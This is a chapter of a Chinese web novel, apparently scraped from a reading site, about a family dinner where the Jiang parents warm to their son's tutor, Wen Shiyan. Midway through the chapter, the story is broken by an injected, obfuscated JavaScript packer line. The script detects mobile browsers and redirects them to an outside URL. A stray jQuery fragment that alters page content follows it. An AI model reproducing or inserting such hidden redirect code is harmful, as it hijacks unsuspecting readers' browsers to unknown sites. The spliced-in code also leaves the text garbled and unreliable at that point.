江家的餐桌上摆好了六副碗筷。
江妈妈看了看餐桌上的摆盘,又看了看墙上的钟。
还早,但她已经来来回回检查了三遍。
筷子摆得够不够齐,椅子之间的距离是否合适。
和旁边阿姨确定了好几次上主菜的位置,确保不会离温时砚的位置太远。
“还早。”江爸爸坐在沙发上翻报纸,头也没抬,但报纸半天没翻页。
江妈妈没接话,只是走过去,把离江亦野位置最近的那副碗筷往旁边挪了半寸。
太挤了,万一那孩子夹菜不方便,也要留有余地。
挪完她才反应过来,自己这是在干什么。
她退回厨房,看着灶台上炖着的汤,忽然有点想笑。
一个月前,她还在咖啡厅里婉转地提醒那个孩子,有些差距不是靠个人努力就能跨越的。
现在,她在家里张罗着请人家吃饭,亲自下厨做了拿手菜,还担心人家夹菜不方便。
一旁的阿姨看着明显不太正常的江妈妈,也不敢吭声。
江妈妈第九次从厨房出来,又来到餐桌边看了看。
江爸爸终于放下报纸,抬眼看着她:“紧张?”
江妈妈回头,瞪了他一眼:“我紧张什么?”
江爸爸没说话,只是嘴角微微扬了扬。
江妈妈继续盯着餐桌,手指无意识地摩挲着桌布边缘。
她确实有点紧张,因为她不知道该怎么面对那个孩子。
之前那三次约谈,她话说得够明白了。
虽然每次都没占到上风,但态度摆在那里,门不当户不对,不该有的想法趁早收起来。
之前温时砚来家里给两个学渣补课,她都是借口有事外出,刻意避开。
现在突然转变,人家会怎么想?
会觉得她势利吗?会觉得她是因为儿子成绩好了才改变态度吗?
她深吸一口气,告诉自己:想那么多没用。待会儿自然一点,该怎么样就怎么样。
客厅里,江爸爸重新拿起报纸,但目光时不时飘向门口。
他也想见见那个女孩。
资料他看过,不止一次。
薄薄的几页纸,记录着一个父母双亡,和外婆相依为命的女孩,如何在艰难的环境里一路考到全市第一。
那些冰冷的数字和文字,拼凑不出一个完整的人。
但资料是死的,人是活的。
他想亲眼看看,能让自家那个傻儿子心甘情愿放下游戏、捧着书本的女孩,到底是什么模样。
六点半。
在江亦野和李明屿的簇拥下,温时砚离开书房来到餐厅。
江妈妈脸上的笑容恰到好处:“时砚快来坐。明屿也来。都饿了吧!”
“阿姨好。”温时砚微微颔首,语气平淡,不卑不亢,仿佛之前咖啡厅里那三次交锋从未发生过。
江爸爸从沙发上站起来,目光落在温时砚身上。
那目光不咄咄逼人,但带着一种阅人无数的审视。
没有恶意,而是习惯性对一个人的打量。
这是江远山多年来在商场上养成的本能,见到任何人,第一反应都是观察。
温时砚对上他的目光,没有躲闪,也没有刻意迎击,只是平静地回视,然后微微欠身:“江叔叔好。”
江爸爸眼底有什么东西微微动了一下。
他走过来,语气温和:“坐吧,别站着。”
几个人落座。
江亦野挨着温时砚,李明屿坐在另一边,江妈妈和江爸爸坐在主位。
餐桌上的气氛有点微妙。
李明屿和江亦野两个活宝,一个赛一个地能说。
“学神,你尝尝这个糖醋排骨,我上次来江野哥家吃过,特别好吃!”李明屿热情推荐,筷子已经指向那道菜。
江亦野不甘示弱,把清蒸鲈鱼往温时砚那边推了推:“温同学,这个是我妈妈的拿手菜,你试试!她不常下厨的,上次做还是半年前。”
温时砚夹了一筷子鲈鱼,送进嘴里,细细咀嚼。
江妈妈目光殷切地看着她。
温时砚咽下,点点头:“很好吃,鱼肉很嫩。”
江妈妈脸上的笑容深了几分:“好吃就多吃点,别客气。亦野说你平时在学校吃得简单,今天多吃点。”
温时砚微微颔首,没有推辞。
江爸爸坐在主位,话不多,但目光一直没离开过温时砚。
他注意到,这女孩吃饭的动作很慢,但很稳。
夹菜、咀嚼、吞咽,每一个动作都透着一种从容。
不是那种刻意端着的优雅,而是一种天然的不慌不忙的节奏。
就像她做任何事都有自己的步调,不会被外界干扰。
她也偶尔会抬眼,目光在餐桌上扫过,似乎在观察什么,但很快收回。
那种观察,不像是好奇,不像是打量,更像是一种习惯性对环境保持警觉的本能。
这是长期在不安全的环境中长大的人才会有的习惯。
他想起资料上写的:父母双亡,叔叔舅舅觊觎赔偿款。
这个女孩,是从小就在那种环境里,学会了时刻保持清醒吧。
餐桌上的气氛也比温时砚想象的要轻松。
她原本以为,像江家这样的家庭,吃饭可能会有很多规矩,餐具怎么摆,菜怎么夹,长辈不动筷晚辈不能动。但事实上,什么都没有。
江妈妈自己也在吃,江爸爸也会给妻子夹菜,江亦野和李明屿抢排骨抢得毫无形象,江妈妈只是笑着骂了一句没规矩,但眼里全是纵容。
温时砚的筷子顿了一下。
她想起小时候在外婆家吃饭,外婆总是把好菜往她碗里夹,自己舍不得吃。
后来去了舅舅家,饭桌上的规矩就多了,不能先动筷,不能挑菜,不能剩饭,不能发出声音。稍有不对,舅妈的眼神就扫过来。
但这里……
她看着江亦野把一筷子菜直接塞进嘴里,边嚼边说好吃好吃,嘴角还沾着酱汁。江妈妈抽了张纸巾递过去,动作自然得像是做过一万遍。
温时砚垂下眼,筷子轻轻拨了拨碗里的米饭。
原来这样的家庭,吃饭也可以这么随意。
她以为豪门世家,饭桌上是另一套规则。
可眼前这一幕,和普通人家也没什么区别。
热腾腾的饭菜,抢菜的傻儿子,笑着骂人的母亲,沉默但温和的父亲。
不对,还是有区别的。
区别在于,这家人的普通里,有一种她很少见到的松弛感。
不用担心说错话被责骂,不用担心吃相不好被嫌弃,不用时刻紧绷着神经看人脸色。可以笑,可以闹,可以毫无顾忌地做自己。
温时砚又夹了一筷子菜,慢慢嚼着。
这种感觉,她已经很久没有过了。
“时砚,你外婆身体还好吗?”江爸爸的语气随意得像聊家常。
温时砚筷子顿了顿,抬眼看向他:“还好。就是年纪大了,偶尔有些小毛病,天气变化的时候会咳嗽。”
江爸爸点点头:“老人家身体要紧,有什么需要帮忙的,尽管说。亦野能有今天,多亏了你。”
温时砚沉默了一秒,然后说:“叔叔客气了。江亦野自己努力,我只是给他指了条路,走不走得通,是他自己的事。”
江爸爸眼底闪过一丝笑意:这孩子,不居功,不邀功,也不卑不亢。好。
李明屿完全不知道这段对话的份量,还在那儿跟江亦野抢最后一块糖醋排骨。
“我先夹到的!”
“我筷子先碰到的!”
“你放屁!”
两人筷子架在一起,谁也不让谁。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17299691|193556||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
温时砚淡淡开口:“那块骨头多肉少。”
两人同时停下,低头一看,啧啧,还真是。
那块排骨看着大,其实全是骨头,没多少肉。
江亦野讪讪地把排骨放下:“那给你吧。”
李明屿也放下:“算了算了,给你。”
两人对视一眼,同时笑起来。
江妈妈看着这一幕,忽然开口:“时砚,以后有空就常来家里吃饭。亦野这孩子,有你看着,我们放心。”
温时砚抬眼看向她。
那目光很平静,但江妈妈觉得,那一瞬间,自己好像被看穿了。
看穿了她的转变,看穿了她的认可,也看穿了那句有你看着背后的托付之意。
温时砚没有立刻回答。
过了两秒,她微微颔首:“好。”
一个字。
但江妈妈知道,这个字,比任何客套的应承都重。
江爸爸又开口:“听说温同学这次联考,考得很好。”
温时砚微微颔首:“正常发挥。”
江爸爸眼里闪过一丝笑意。
这回答,既不自谦过度,也不自傲失礼,分寸感拿捏得刚刚好。
“我听亦野说,你帮他押中了不少题。”
温时砚语气平静:“是他把该做的都做了。题押得再准,不练也没用。我给他的那些题,换个人做,未必有这个效果。”
江爸爸点点头,没再说话,但眼底那层审视的意味,已经淡了不少。
这时候李明屿开口了,声音那叫一个洪亮:“学神那是谦虚!她给我们划的重点,十道有六道考到!那哪是押题,那是预判!”
江亦野在旁边疯狂点头:“对对对!尤其是数学最后一道大题,温同学提前两周就让我练过类似的!我考场上一看,差点笑出来!”
江妈妈听到这话,忍不住笑了:“这么神?”
“那可不!”李明屿越说越来劲,“还有英语作文,学神让我背的那个模板,刚好用上!我都怀疑她是不是提前拿到卷子了!”
温时砚瞥了他一眼,语气依旧平淡:“只是把往年真题的规律总结了一下。你背的那个模板,是近年的高频考点,不考才奇怪。”
江爸爸问:“时砚,你打算考哪所大学?”
温时砚放下筷子,看向他:“科大。”
“科大?”江妈妈有些意外,“以你的成绩,A大应该没问题吧?”
温时砚摇摇头:“科大更适合我。”
她没有解释为什么更适合,但江爸爸听懂了,这个女孩选择学校,不是冲着名气去的,而是冲着适合去的。
她有自己清晰的判断标准,不随波逐流,不被外界评价左右。
“专业呢?”他问。
温时砚没有犹豫:“数学。”
江爸爸眉毛微微动了一下。
女孩子学数学,而且还是最纯粹的数学,不是金融数学,应用数学这些更实用的方向。
这需要的不仅仅是天赋,更是勇气和热爱。
江爸爸认可地点点头:“数学很好。基础学科,学好了,以后的路很宽。”
温时砚看了他一眼,没有接话,脸上是被认可的微笑。
就在这时,一个声音突兀地插进来。
“你不是学的会计和法律的吗?”满脑子问号的江亦野脱口而出。
话一出口,餐桌上安静了。
所有人都在看他。
江妈妈的筷子停在半空,江爸爸的目光从温时砚脸上移到自己儿子脸上,李明屿嘴里还含着饭,瞪大眼睛看着江亦野。
温时砚的动作也顿住了。
她缓缓侧过头,看向江亦野。
那目光平静,但平静得让人发毛。
江亦野一下子清醒了。
他刚才说了什么啊啊啊啊啊……